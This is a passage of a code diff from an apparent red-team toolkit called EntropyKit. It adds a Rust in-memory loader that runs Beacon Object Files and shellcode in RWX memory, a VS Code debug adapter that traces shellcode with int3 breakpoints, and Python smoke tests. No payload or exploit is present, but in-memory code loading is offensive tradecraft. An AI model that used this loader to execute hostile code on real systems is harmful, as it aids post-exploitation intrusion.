None => Err(format!("GetProcAddress({lib}!{fun}) failed")),
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
[package]
|
||||
name = "bof-runner"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
description = "In-process loader / test harness for EntropyKit BOFs. Mmaps a .obj, resolves __imp_* slots, applies REL32 relocations, calls go()."
|
||||
|
||||
[[bin]]
|
||||
name = "bof-runner"
|
||||
path = "src/main.rs"
|
||||
|
||||
[dependencies]
|
||||
bof-loader = { path = "../bof-loader" }
|
||||
@@ -0,0 +1,75 @@
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
//! bof-runner - CLI shell over the [`bof_loader`] library.
|
||||
//!
|
||||
//! Parses argv, packs typed `bof_pack` args, loads the `.obj` into
|
||||
//! memory, and calls `go(args, len)`. The heavy lifting (COFF
|
||||
//! parsing, section mapping, symbol resolution, REL32 / ADDR64
|
||||
//! relocations, Beacon API stubs) is placed in `tools/bof-loader/` so
|
||||
//! the VS Code debugger (`entc-debug`) reuses every line of it.
|
||||
//!
|
||||
//! Usage:
|
||||
//! bof-runner <path.obj> [args...]
|
||||
//!
|
||||
//! Argument forms (may repeat; order matters):
|
||||
//!
|
||||
//! --args "raw bytes" raw UTF-8 buffer + trailing NUL.
|
||||
//! --zarg "string" `bof_pack "z"` - length-prefixed zstring.
|
||||
//! --iarg N `bof_pack "i"` - big-endian 4-byte int.
|
||||
//! --sarg N `bof_pack "s"` - big-endian 2-byte short.
|
||||
//! --barg @path `bof_pack "b"` - length-prefixed binary blob.
|
||||
|
||||
use std::env;
|
||||
use std::fs;
|
||||
use std::process::ExitCode;
|
||||
|
||||
fn main() -> ExitCode {
|
||||
let argv: Vec<String> = env::args().collect();
|
||||
if argv.len() < 2 || argv[1].starts_with('-') {
|
||||
eprintln!(
|
||||
"usage: bof-runner <path.obj> [--args RAW] [--zarg STR] \
|
||||
[--iarg N] [--sarg N] [--barg @FILE]"
|
||||
);
|
||||
return ExitCode::from(2);
|
||||
}
|
||||
let path = &argv[1];
|
||||
|
||||
let packed = match bof_loader::args::parse_packed_args(&argv[2..]) {
|
||||
Ok(b) => b,
|
||||
Err(e) => { eprintln!("bof-runner: {e}"); return ExitCode::from(2); }
|
||||
};
|
||||
|
||||
let bytes = match fs::read(path) {
|
||||
Ok(b) => b,
|
||||
Err(e) => { eprintln!("read {path}: {e}"); return ExitCode::from(1); }
|
||||
};
|
||||
|
||||
match run(&bytes, &packed) {
|
||||
Ok(()) => ExitCode::from(0),
|
||||
Err(e) => { eprintln!("bof-runner: {e}"); ExitCode::from(1) }
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(not(windows))]
|
||||
fn run(_bytes: &[u8], _args: &[u8]) -> Result<(), String> {
|
||||
Err("bof-runner is Windows-only - it calls Win32 APIs to map RWX pages \
|
||||
and resolve LIBRARY$Function imports. Build + run on Windows.".into())
|
||||
}
|
||||
|
||||
#[cfg(windows)]
|
||||
fn run(bytes: &[u8], args_buf: &[u8]) -> Result<(), String> {
|
||||
let loaded = bof_loader::load::load(bytes)?;
|
||||
|
||||
// Append a trailing NUL so a BOF that treats `args` as a C string
|
||||
// (the simple `MessageBoxA(0, args, ...)` pattern) doesn't read
|
||||
// past the end. The reported `len` excludes the NUL - matches
|
||||
// Beacon's convention where `len` is the data length only.
|
||||
let mut args_buf_z: Vec<u8> = args_buf.to_vec();
|
||||
args_buf_z.push(0);
|
||||
let payload_len = (args_buf_z.len() - 1) as i32;
|
||||
|
||||
let go_addr = loaded.text_base + loaded.go_offset as usize;
|
||||
let go_fn: unsafe extern "system" fn(*const u8, i32) =
|
||||
unsafe { std::mem::transmute(go_addr) };
|
||||
unsafe { go_fn(args_buf_z.as_ptr(), payload_len); }
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,34 @@
|
||||
[package]
|
||||
name = "entc-debug"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
description = "DAP server + in-process tracer for EntropyKit shellcode - drives VS Code's Run > Start Debugging."
|
||||
|
||||
[[bin]]
|
||||
name = "entc-debug"
|
||||
path = "src/main.rs"
|
||||
|
||||
[dependencies]
|
||||
# Pure-Rust x86-64 disassembler for the DAP `disassemble` request and
|
||||
# VS Code's Disassembly View. We only enable the decoder + intel-syntax
|
||||
# formatter - the gas/masm/nasm formatters add ~MB to the binary for
|
||||
# no UX gain.
|
||||
iced-x86 = { version = "1.21.0", default-features = false, features = ["decoder", "intel", "std"] }
|
||||
serde = { version = "1", features = ["derive"] }
|
||||
serde_json = "1"
|
||||
|
||||
# Shared COFF loader - used when launch.json's `program` is a `.obj`,
|
||||
# so F5 on a BOF source file walks the same parse/map/relocate path
|
||||
# the standalone `bof-runner` uses.
|
||||
bof-loader = { path = "../bof-loader" }
|
||||
|
||||
[target.'cfg(windows)'.dependencies]
|
||||
windows-sys = { version = "0.59", features = [
|
||||
"Win32_Foundation",
|
||||
"Win32_System_Memory",
|
||||
"Win32_System_Diagnostics_Debug",
|
||||
# AddVectoredExceptionHandler / EXCEPTION_POINTERS are placed here, despite
|
||||
# the misleading name (windows-sys 0.59 changed the feature grouping).
|
||||
"Win32_System_Kernel",
|
||||
"Win32_System_Threading",
|
||||
] }
|
||||
@@ -0,0 +1,139 @@
|
||||
#!/usr/bin/env python3
|
||||
# SPDX-License-Identifier: Apache-2.0
|
||||
"""dap_asm_bp_smoke.py - verify F9 inside `asm { ... }` plants and
|
||||
fires a breakpoint at the right .bin offset.
|
||||
|
||||
Drives entc-debug.exe over DAP-on-stdio with the exact sequence VS
|
||||
Code's "set breakpoint, then F5" flow uses:
|
||||
|
||||
initialize -> launch (stopOnEntry: false, no inherent break)
|
||||
-> setBreakpoints(asm_test.etpy, [<inline-asm line>])
|
||||
-> configurationDone
|
||||
-> wait for `stopped` with reason=breakpoint
|
||||
-> assert the stop's `line` == the line we set
|
||||
|
||||
Usage:
|
||||
python dap_asm_bp_smoke.py
|
||||
"""
|
||||
|
||||
import json
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
from pathlib import Path
|
||||
|
||||
HERE = Path(__file__).resolve().parent
|
||||
REPO = HERE.parent.parent.parent
|
||||
ENTC_DEBUG = REPO / "target" / "release" / "entc-debug.exe"
|
||||
SOURCE = REPO / "example" / "asm_test.etpy"
|
||||
|
||||
|
||||
def encode_msg(obj):
|
||||
body = json.dumps(obj).encode("utf-8")
|
||||
return f"Content-Length: {len(body)}\r\n\r\n".encode() + body
|
||||
|
||||
|
||||
def read_frame(proc):
|
||||
headers = b""
|
||||
while not headers.endswith(b"\r\n\r\n"):
|
||||
b = proc.stdout.read(1)
|
||||
if not b: return None
|
||||
headers += b
|
||||
length = 0
|
||||
for line in headers.decode().split("\r\n"):
|
||||
if line.lower().startswith("content-length:"):
|
||||
length = int(line.split(":", 1)[1].strip())
|
||||
body = b""
|
||||
while len(body) < length:
|
||||
chunk = proc.stdout.read(length - len(body))
|
||||
if not chunk: return None
|
||||
body += chunk
|
||||
return json.loads(body)
|
||||
|
||||
|
||||
def send(proc, seq, command, **kwargs):
|
||||
proc.stdin.write(encode_msg({
|
||||
"seq": seq, "type": "request", "command": command, "arguments": kwargs,
|
||||
}))
|
||||
proc.stdin.flush()
|
||||
|
||||
|
||||
def main():
|
||||
# Allow overriding target line via CLI for testing several
|
||||
# asm-body lines (instruction, label, post-loop body).
|
||||
target_line = int(sys.argv[1]) if len(sys.argv) > 1 else 24
|
||||
|
||||
proc = subprocess.Popen(
|
||||
[str(ENTC_DEBUG), "dap"],
|
||||
stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
|
||||
bufsize=0,
|
||||
)
|
||||
|
||||
seq = 1
|
||||
send(proc, seq, "initialize", adapterID="entropykit"); seq += 1
|
||||
send(proc, seq, "launch",
|
||||
program=str(SOURCE),
|
||||
stopOnEntry=False); seq += 1
|
||||
|
||||
breakpoints_set = False
|
||||
verified_line = None # what setBreakpoints reported
|
||||
stop_line = None # what stackTrace reported when bp fired
|
||||
deadline = time.time() + 30
|
||||
while time.time() < deadline:
|
||||
msg = read_frame(proc)
|
||||
if msg is None: break
|
||||
if msg.get("type") == "response":
|
||||
cmd = msg["command"]
|
||||
if cmd == "launch" and msg.get("success"):
|
||||
send(proc, seq, "setBreakpoints",
|
||||
source={"path": str(SOURCE)},
|
||||
breakpoints=[{"line": target_line}]); seq += 1
|
||||
elif cmd == "launch":
|
||||
print(f"[asm-bp-smoke] launch failed: {msg.get('message')}")
|
||||
break
|
||||
elif cmd == "setBreakpoints":
|
||||
rows = msg.get("body", {}).get("breakpoints", [])
|
||||
verified = [r for r in rows if r.get("verified")]
|
||||
if not verified:
|
||||
print(f"[asm-bp-smoke] FAIL: bp at line {target_line} not verified: {rows}")
|
||||
break
|
||||
verified_line = verified[0].get("line")
|
||||
print(f"[asm-bp-smoke] bp at requested line {target_line} verified, mapped to {verified_line}")
|
||||
breakpoints_set = True
|
||||
send(proc, seq, "configurationDone"); seq += 1
|
||||
elif cmd == "configurationDone":
|
||||
pass
|
||||
elif msg.get("type") == "event":
|
||||
ev = msg.get("event")
|
||||
body = msg.get("body", {})
|
||||
if ev == "stopped" and body.get("reason") == "breakpoint":
|
||||
send(proc, seq, "stackTrace", threadId=1); seq += 1
|
||||
elif ev == "terminated":
|
||||
print("[asm-bp-smoke] terminated before bp hit")
|
||||
break
|
||||
if msg.get("command") == "stackTrace" and msg.get("type") == "response":
|
||||
frames = msg.get("body", {}).get("stackFrames", [])
|
||||
if frames:
|
||||
stop_line = frames[0].get("line")
|
||||
send(proc, seq, "disconnect", terminateDebuggee=True); seq += 1
|
||||
break
|
||||
|
||||
try:
|
||||
proc.wait(timeout=5)
|
||||
except subprocess.TimeoutExpired:
|
||||
proc.terminate(); proc.wait()
|
||||
|
||||
# Pass criteria:
|
||||
# - setBreakpoints verified the bp (either the requested line
|
||||
# or a forward-snapped one - both are valid).
|
||||
# - The stop fired and reported a source line consistent with
|
||||
# the verified one.
|
||||
if breakpoints_set and stop_line == verified_line and verified_line is not None:
|
||||
print(f"[asm-bp-smoke] PASS - bp at requested={target_line} verified={verified_line} stop={stop_line}")
|
||||
return 0
|
||||
print(f"[asm-bp-smoke] FAIL - requested={target_line} verified={verified_line} stop={stop_line}")
|
||||
return 1
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
@@ -0,0 +1,132 @@
|
||||
#!/usr/bin/env python3
|
||||
# SPDX-License-Identifier: Apache-2.0
|
||||
"""dap_bof_output_smoke.py - confirm BeaconPrintf output reaches DAP.
|
||||
|
||||
Launches a BOF through entc-debug.exe in DAP mode WITHOUT stopOnEntry,
|
||||
runs it to completion, and prints every `output` event the adapter
|
||||
emits. Without the output-hook wiring, the BOF's BeaconPrintf writes
|
||||
land on entc-debug's own stdout (which is the DAP wire channel) and
|
||||
get either dropped by VS Code or corrupt the next DAP frame - either
|
||||
way the user sees nothing in the Debug Console.
|
||||
|
||||
With the hook installed, every BeaconPrintf turns into one DAP
|
||||
`output` event with category "console", which is exactly what shows
|
||||
up in VS Code's Debug Console panel.
|
||||
|
||||
Usage:
|
||||
python dap_bof_output_smoke.py <path/to/source.etpy> [bof_args...]
|
||||
"""
|
||||
|
||||
import json
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
from pathlib import Path
|
||||
|
||||
HERE = Path(__file__).resolve().parent
|
||||
REPO = HERE.parent.parent.parent
|
||||
ENTC_DEBUG = REPO / "target" / "release" / "entc-debug.exe"
|
||||
|
||||
|
||||
def encode_msg(obj):
|
||||
body = json.dumps(obj).encode("utf-8")
|
||||
return f"Content-Length: {len(body)}\r\n\r\n".encode() + body
|
||||
|
||||
|
||||
def read_frame(proc):
|
||||
headers = b""
|
||||
while not headers.endswith(b"\r\n\r\n"):
|
||||
b = proc.stdout.read(1)
|
||||
if not b: return None
|
||||
headers += b
|
||||
length = 0
|
||||
for line in headers.decode().split("\r\n"):
|
||||
if line.lower().startswith("content-length:"):
|
||||
length = int(line.split(":", 1)[1].strip())
|
||||
body = b""
|
||||
while len(body) < length:
|
||||
chunk = proc.stdout.read(length - len(body))
|
||||
if not chunk: return None
|
||||
body += chunk
|
||||
return json.loads(body)
|
||||
|
||||
|
||||
def send(proc, seq, command, **kwargs):
|
||||
proc.stdin.write(encode_msg({
|
||||
"seq": seq, "type": "request", "command": command, "arguments": kwargs,
|
||||
}))
|
||||
proc.stdin.flush()
|
||||
|
||||
|
||||
def main():
|
||||
if len(sys.argv) < 2:
|
||||
print("usage: dap_bof_output_smoke.py <path/to/source.etpy> [args...]")
|
||||
return 2
|
||||
source = Path(sys.argv[1]).resolve()
|
||||
bof_args = sys.argv[2:]
|
||||
if not ENTC_DEBUG.exists():
|
||||
print(f"missing: {ENTC_DEBUG}")
|
||||
return 1
|
||||
|
||||
proc = subprocess.Popen(
|
||||
[str(ENTC_DEBUG), "dap"],
|
||||
stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
|
||||
bufsize=0,
|
||||
)
|
||||
seq = 1
|
||||
send(proc, seq, "initialize", adapterID="entropykit"); seq += 1
|
||||
send(proc, seq, "launch",
|
||||
program=str(source),
|
||||
stopOnEntry=False,
|
||||
args=bof_args); seq += 1
|
||||
|
||||
output_events = []
|
||||
deadline = time.time() + 60
|
||||
done = False
|
||||
while not done and time.time() < deadline:
|
||||
msg = read_frame(proc)
|
||||
if msg is None: break
|
||||
if msg.get("type") == "response":
|
||||
cmd = msg["command"]
|
||||
if cmd == "launch":
|
||||
if not msg.get("success"):
|
||||
print(f"FAIL: launch failed: {msg.get('message')}")
|
||||
return 1
|
||||
send(proc, seq, "configurationDone"); seq += 1
|
||||
elif msg.get("type") == "event":
|
||||
ev = msg.get("event")
|
||||
body = msg.get("body", {})
|
||||
if ev == "output":
|
||||
output_events.append(body.get("output", ""))
|
||||
elif ev in ("exited", "terminated"):
|
||||
done = True
|
||||
send(proc, seq, "disconnect", terminateDebuggee=True); seq += 1
|
||||
|
||||
try:
|
||||
proc.wait(timeout=5)
|
||||
except subprocess.TimeoutExpired:
|
||||
proc.terminate(); proc.wait()
|
||||
|
||||
# Reconfigure stdout for UTF-8 so non-ASCII bytes (em-dashes,
|
||||
# smart quotes, etc.) in BOF output don't trip CP1252 encoding
|
||||
# on Windows. The DAP channel itself is UTF-8 end-to-end.
|
||||
try:
|
||||
sys.stdout.reconfigure(encoding="utf-8", errors="replace")
|
||||
except Exception:
|
||||
pass
|
||||
print(f"[smoke] received {len(output_events)} `output` event(s):")
|
||||
for ev in output_events:
|
||||
sys.stdout.write(f" {ev.rstrip()}\n")
|
||||
# Pass criterion: AT LEAST ONE output event whose text contains
|
||||
# the BOF marker `[BOF]`. Without the hook, the BOF's print
|
||||
# writes never reach DAP to zero `[BOF]` lines.
|
||||
bof_lines = [e for e in output_events if "[BOF]" in e]
|
||||
if bof_lines:
|
||||
print(f"[smoke] PASS - saw {len(bof_lines)} [BOF] line(s) routed through DAP")
|
||||
return 0
|
||||
print("[smoke] FAIL - no [BOF] output events flowed through DAP")
|
||||
return 1
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
@@ -0,0 +1,166 @@
|
||||
#!/usr/bin/env python3
|
||||
# SPDX-License-Identifier: Apache-2.0
|
||||
"""dap_launch_smoke.py - simulate a VS Code F5 against entc-debug.
|
||||
|
||||
Drives entc-debug.exe's DAP-on-stdio protocol with the exact sequence
|
||||
VS Code sends:
|
||||
|
||||
initialize -> launch (program=.etpy) -> configurationDone
|
||||
-> wait for `stopped` event (stopOnEntry confirms the right
|
||||
artifact loaded) -> disconnect
|
||||
|
||||
Exit code 0 means F5 against the given .etpy successfully:
|
||||
- auto-detected build mode
|
||||
- rebuilt the artifact
|
||||
- loaded the .dbg sidecar
|
||||
- planted the entry stopOnEntry breakpoint
|
||||
- hit it (proves the right .obj/.bin actually ran)
|
||||
|
||||
Usage:
|
||||
python dap_launch_smoke.py <path/to/source.etpy> [bof_arg ...]
|
||||
"""
|
||||
|
||||
import json
|
||||
import struct
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
HERE = Path(__file__).resolve().parent
|
||||
REPO = HERE.parent.parent.parent
|
||||
ENTC_DEBUG = REPO / "target" / "release" / "entc-debug.exe"
|
||||
|
||||
|
||||
def encode_msg(obj):
|
||||
body = json.dumps(obj).encode("utf-8")
|
||||
return f"Content-Length: {len(body)}\r\n\r\n".encode() + body
|
||||
|
||||
|
||||
def read_frame(proc):
|
||||
"""Read one DAP frame from stdout. Returns the parsed dict or None
|
||||
on EOF / timeout."""
|
||||
headers = b""
|
||||
while not headers.endswith(b"\r\n\r\n"):
|
||||
b = proc.stdout.read(1)
|
||||
if not b:
|
||||
return None
|
||||
headers += b
|
||||
# Parse Content-Length.
|
||||
length = 0
|
||||
for line in headers.decode().split("\r\n"):
|
||||
if line.lower().startswith("content-length:"):
|
||||
length = int(line.split(":", 1)[1].strip())
|
||||
body = b""
|
||||
while len(body) < length:
|
||||
chunk = proc.stdout.read(length - len(body))
|
||||
if not chunk:
|
||||
return None
|
||||
body += chunk
|
||||
return json.loads(body)
|
||||
|
||||
|
||||
def send(proc, seq, command, **kwargs):
|
||||
msg = {"seq": seq, "type": "request", "command": command, "arguments": kwargs}
|
||||
proc.stdin.write(encode_msg(msg))
|
||||
proc.stdin.flush()
|
||||
|
||||
|
||||
def main():
|
||||
if len(sys.argv) < 2:
|
||||
print("usage: dap_launch_smoke.py <path/to/source.etpy> [bof_args...]")
|
||||
return 2
|
||||
source = Path(sys.argv[1]).resolve()
|
||||
bof_args = sys.argv[2:]
|
||||
|
||||
# Note: we deliberately don't pre-check source.exists() - the
|
||||
# whole point of the adapter's auto-upgrade-to-source-mode path
|
||||
# is to handle a missing artifact with a sibling .etpy by
|
||||
# rebuilding from source. We want to exercise that.
|
||||
if not ENTC_DEBUG.exists():
|
||||
print(f"entc-debug not found: {ENTC_DEBUG}")
|
||||
print("Run: cargo build --release -p entc-debug")
|
||||
return 1
|
||||
|
||||
print(f"[smoke] launching {ENTC_DEBUG.name} against {source.name}")
|
||||
proc = subprocess.Popen(
|
||||
[str(ENTC_DEBUG), "dap"],
|
||||
stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
|
||||
bufsize=0,
|
||||
)
|
||||
|
||||
seq = 1
|
||||
send(proc, seq, "initialize", clientID="smoke", adapterID="entropykit"); seq += 1
|
||||
launch_args = {
|
||||
"program": str(source),
|
||||
"stopOnEntry": True,
|
||||
"args": bof_args,
|
||||
}
|
||||
send(proc, seq, "launch", **launch_args); seq += 1
|
||||
|
||||
stopped_received = False
|
||||
launch_ok = None
|
||||
deadline = time.time() + 30
|
||||
sent_config_done = False
|
||||
while time.time() < deadline:
|
||||
proc.stdout_ready = True
|
||||
# NOTE: read_frame blocks; that's fine for this smoke test
|
||||
# because entc-debug emits frames promptly during launch.
|
||||
msg = read_frame(proc)
|
||||
if msg is None:
|
||||
print("[smoke] EOF before stop")
|
||||
break
|
||||
kind = msg.get("type")
|
||||
if kind == "response":
|
||||
cmd = msg.get("command")
|
||||
ok = msg.get("success", False)
|
||||
if cmd == "launch":
|
||||
launch_ok = ok
|
||||
if not ok:
|
||||
print(f"[smoke] launch failed: {msg.get('message')}")
|
||||
break
|
||||
send(proc, seq, "configurationDone"); seq += 1
|
||||
sent_config_done = True
|
||||
elif cmd == "configurationDone":
|
||||
pass
|
||||
elif kind == "event":
|
||||
ev = msg.get("event")
|
||||
body = msg.get("body", {})
|
||||
if ev == "output":
|
||||
text = body.get("output", "").rstrip()
|
||||
if text:
|
||||
print(f" [stdout] {text}")
|
||||
elif ev == "stopped":
|
||||
reason = body.get("reason", "?")
|
||||
print(f"[smoke] stopped (reason={reason})")
|
||||
if reason in ("entry", "breakpoint"):
|
||||
stopped_received = True
|
||||
send(proc, seq, "disconnect", terminateDebuggee=True); seq += 1
|
||||
break
|
||||
elif ev == "terminated":
|
||||
print("[smoke] terminated event")
|
||||
break
|
||||
elif ev == "exited":
|
||||
code = body.get("exitCode", 0)
|
||||
print(f"[smoke] exited code={code}")
|
||||
|
||||
try:
|
||||
proc.wait(timeout=5)
|
||||
except subprocess.TimeoutExpired:
|
||||
proc.terminate()
|
||||
proc.wait()
|
||||
|
||||
stderr = proc.stderr.read().decode("utf-8", errors="replace")
|
||||
if stderr.strip():
|
||||
print(f"[smoke] adapter stderr: {stderr}")
|
||||
|
||||
if launch_ok and stopped_received:
|
||||
print("[smoke] PASS")
|
||||
return 0
|
||||
print(f"[smoke] FAIL (launch_ok={launch_ok}, stopped={stopped_received})")
|
||||
return 1
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,108 @@
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
//! entc-debug - Debug Adapter Protocol server + in-process tracer for
|
||||
//! EntropyKit shellcode.
|
||||
//!
|
||||
//! Wires VS Code's "Run to Start Debugging" (F5) to a custom launcher:
|
||||
//! we VirtualAlloc a `.bin`, plant software breakpoints (`int 3`) at
|
||||
//! every source-line offset in the matching `.dbg` map, then call into
|
||||
//! the shellcode. A Vectored Exception Handler catches each break,
|
||||
//! parks the tracer thread, and signals the DAP server thread which
|
||||
//! sends VS Code a `stopped` event with the source location - that's
|
||||
//! the bit that makes the execution arrow move through the `.etpy`.
|
||||
//!
|
||||
//! Architecture:
|
||||
//!
|
||||
//! stdin -> DAP server thread -> mpsc command channel -> tracer thread
|
||||
//! stdout <- DAP server thread <- mpsc event channel <- VEH handler
|
||||
//!
|
||||
//! Both threads are placed in the same process. The shellcode runs in the
|
||||
//! tracer thread; its in-process VEH catches `int 3`, pushes a Stopped
|
||||
//! event to the server, then blocks on a Win32 event handle until the
|
||||
//! server replies with a Continue / StepOver command.
|
||||
//!
|
||||
//! Run modes (selected by argv[1]):
|
||||
//! - no args / `dap` : DAP server on stdio (what VS Code uses)
|
||||
//! - `trace <bin>` : run a bin once and print each stop to
|
||||
//! stdout as NDJSON; useful for headless
|
||||
//! smoke tests outside VS Code.
|
||||
|
||||
use std::fs;
|
||||
use std::io::{self, Write};
|
||||
use std::sync::mpsc;
|
||||
use std::thread;
|
||||
|
||||
mod dap;
|
||||
mod tracer;
|
||||
mod sourcemap;
|
||||
|
||||
fn main() {
|
||||
let args: Vec<String> = std::env::args().collect();
|
||||
let mode = args.get(1).map(String::as_str).unwrap_or("dap");
|
||||
match mode {
|
||||
"dap" => run_dap(),
|
||||
"trace" => {
|
||||
let bin = args.get(2).cloned().unwrap_or_else(|| {
|
||||
eprintln!("usage: entc-debug trace <foo.bin>");
|
||||
std::process::exit(2);
|
||||
});
|
||||
run_headless_trace(&bin);
|
||||
}
|
||||
other => {
|
||||
eprintln!("unknown mode `{other}` - try `dap` (default) or `trace <bin>`");
|
||||
std::process::exit(2);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn run_dap() {
|
||||
dap::serve();
|
||||
}
|
||||
|
||||
/// Headless smoke test: load + trace once, print each source-line stop
|
||||
/// as NDJSON to stdout, then exit. Useful for `cargo run -- trace foo.bin`
|
||||
/// without VS Code in the loop.
|
||||
fn run_headless_trace(bin_path: &str) {
|
||||
let dbg_path = bin_path
|
||||
.strip_suffix(".bin")
|
||||
.map(|s| format!("{s}.dbg"))
|
||||
.unwrap_or_else(|| format!("{bin_path}.dbg"));
|
||||
let map = sourcemap::SourceMap::load(&dbg_path).unwrap_or_else(|e| {
|
||||
eprintln!("entc-debug: load {dbg_path}: {e}");
|
||||
std::process::exit(1);
|
||||
});
|
||||
let bin = fs::read(bin_path).unwrap_or_else(|e| {
|
||||
eprintln!("entc-debug: read {bin_path}: {e}");
|
||||
std::process::exit(1);
|
||||
});
|
||||
|
||||
let (ev_tx, ev_rx) = mpsc::channel();
|
||||
let (cmd_tx, cmd_rx) = mpsc::channel();
|
||||
|
||||
// Headless: plant a stop at every source-mapped offset so the
|
||||
// NDJSON walks past every statement. The VS Code path is more
|
||||
// selective (it only plants what the user / stopOnEntry chose).
|
||||
let initial_bps: Vec<usize> = map.entries.iter().map(|e| e.offset).collect();
|
||||
|
||||
// Spawn the tracer. It runs the shellcode + VEH; we pump events
|
||||
// back here and just auto-acknowledge every stop with Continue.
|
||||
let session = tracer::TracerSession::new();
|
||||
let map_clone = map.clone();
|
||||
let bin_clone = bin.clone();
|
||||
let tracer_handle = thread::spawn(move || {
|
||||
tracer::run(&bin_clone, map_clone, initial_bps, session, ev_tx, cmd_rx)
|
||||
});
|
||||
|
||||
let stdout = io::stdout();
|
||||
let mut out = stdout.lock();
|
||||
while let Ok(ev) = ev_rx.recv() {
|
||||
let line = serde_json::to_string(&ev).unwrap();
|
||||
writeln!(out, "{line}").ok();
|
||||
match ev {
|
||||
tracer::Event::Stopped { .. } => {
|
||||
cmd_tx.send(tracer::Cmd::Continue).ok();
|
||||
}
|
||||
tracer::Event::Exited { .. } | tracer::Event::Output { .. } => {}
|
||||
}
|
||||
}
|
||||
let _ = tracer_handle.join();
|
||||
}
|
||||
@@ -0,0 +1,227 @@
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
//! Loader for the `<stem>.dbg` text map the compiler emits with
|
||||
//! `--debug`. Format (one entry per line):
|
||||
//!
|
||||
//! # entropy debug map for example/foo.etpy
|
||||
//! # offset line:col kind source
|
||||
//! 0000000d 30:5 call example/foo.etpy
|
||||
//! ...
|
||||
//!
|
||||
//! Lines starting with `#` are comments. The leading hex offset is the
|
||||
//! shellcode byte offset; the rest of the fields are derived from the
|
||||
//! source.
|
||||
|
||||
use std::fs;
|
||||
use std::path::{Path, PathBuf};
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct Entry {
|
||||
pub offset: usize,
|
||||
pub line: u32,
|
||||
pub col: u32,
|
||||
pub kind: String,
|
||||
}
|
||||
|
||||
/// A named local emitted by the compiler. `loc` is a tiny textual
|
||||
/// expression the adapter parses to figure out where the value lives:
|
||||
///
|
||||
/// - `rbp-0x8` / `rbp+0x10` - frame-relative (currently the only form)
|
||||
/// - `rax`, `rcx`, ... - direct register (future)
|
||||
/// - `rip+0x40` - rip-relative (future; for globals)
|
||||
///
|
||||
/// `line_start` / `line_end` bracket the source lines where the
|
||||
/// variable is live. `line_end == u32::MAX` means "until end of
|
||||
/// function".
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct VarInfo {
|
||||
pub name: String,
|
||||
pub ty: String,
|
||||
pub loc: String,
|
||||
pub line_start: u32,
|
||||
pub line_end: u32,
|
||||
}
|
||||
|
||||
/// Parsed source map ready for byte-offset to source lookups. Cloneable
|
||||
/// because the DAP server and tracer thread each want their own view.
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct SourceMap {
|
||||
/// Absolute path to the .etpy. Stored absolute so the DAP server can
|
||||
/// hand it back to VS Code in stackTrace responses without relying
|
||||
/// on the debugger's cwd matching the workspace root (which it
|
||||
/// often doesn't - VS Code passes its workspace as cwd, but
|
||||
/// extensions can override it).
|
||||
pub source_path: PathBuf,
|
||||
pub entries: Vec<Entry>, // sorted by offset ascending
|
||||
pub vars: Vec<VarInfo>, // declaration order
|
||||
}
|
||||
|
||||
impl SourceMap {
|
||||
/// Read and parse a `.dbg` file. Errors propagate as plain strings
|
||||
/// so the DAP server can include them in an Output event.
|
||||
pub fn load(path: &str) -> Result<Self, String> {
|
||||
let text = fs::read_to_string(path)
|
||||
.map_err(|e| format!("read {path}: {e}"))?;
|
||||
let dbg_dir: PathBuf = Path::new(path)
|
||||
.parent()
|
||||
.map(Path::to_path_buf)
|
||||
.unwrap_or_else(|| PathBuf::from("."));
|
||||
|
||||
let mut raw_source: Option<PathBuf> = None;
|
||||
let mut entries: Vec<Entry> = Vec::new();
|
||||
let mut vars: Vec<VarInfo> = Vec::new();
|
||||
// The .dbg has two sections - entries (offset to line:col) and
|
||||
// an optional variables block introduced by `# variables`. We
|
||||
// track which section we're in by header comment, since the
|
||||
// grammars are different (positional vs `name : type : loc`).
|
||||
let mut in_vars = false;
|
||||
|
||||
for raw in text.lines() {
|
||||
let line = raw.trim();
|
||||
if line.is_empty() { continue; }
|
||||
if let Some(rest) = line.strip_prefix("# entropy debug map for ") {
|
||||
raw_source = Some(PathBuf::from(rest.trim()));
|
||||
in_vars = false;
|
||||
continue;
|
||||
}
|
||||
if line.starts_with("# variables") {
|
||||
in_vars = true;
|
||||
continue;
|
||||
}
|
||||
if line.starts_with('#') { continue; }
|
||||
|
||||
if in_vars {
|
||||
// Format: `name : type : loc : line_start..line_end`
|
||||
let parts: Vec<&str> = line.splitn(4, " : ").collect();
|
||||
if parts.len() != 4 { continue; }
|
||||
let (name, ty, loc) = (parts[0].trim(), parts[1].trim(), parts[2].trim());
|
||||
let range = parts[3].trim();
|
||||
let (s, e) = match range.split_once("..") {
|
||||
Some(p) => p, None => continue,
|
||||
};
|
||||
let line_start: u32 = match s.trim().parse() { Ok(n) => n, Err(_) => continue };
|
||||
let line_end: u32 = if e.trim() == "max" {
|
||||
u32::MAX
|
||||
} else {
|
||||
match e.trim().parse() { Ok(n) => n, Err(_) => continue }
|
||||
};
|
||||
vars.push(VarInfo {
|
||||
name: name.to_string(),
|
||||
ty: ty.to_string(),
|
||||
loc: loc.to_string(),
|
||||
line_start, line_end,
|
||||
});
|
||||
continue;
|
||||
}
|
||||
|
||||
// Entry row: `<hex_off> <line>:<col> <kind> <src>`
|
||||
let mut it = line.split_whitespace();
|
||||
let off_hex = match it.next() { Some(s) => s, None => continue };
|
||||
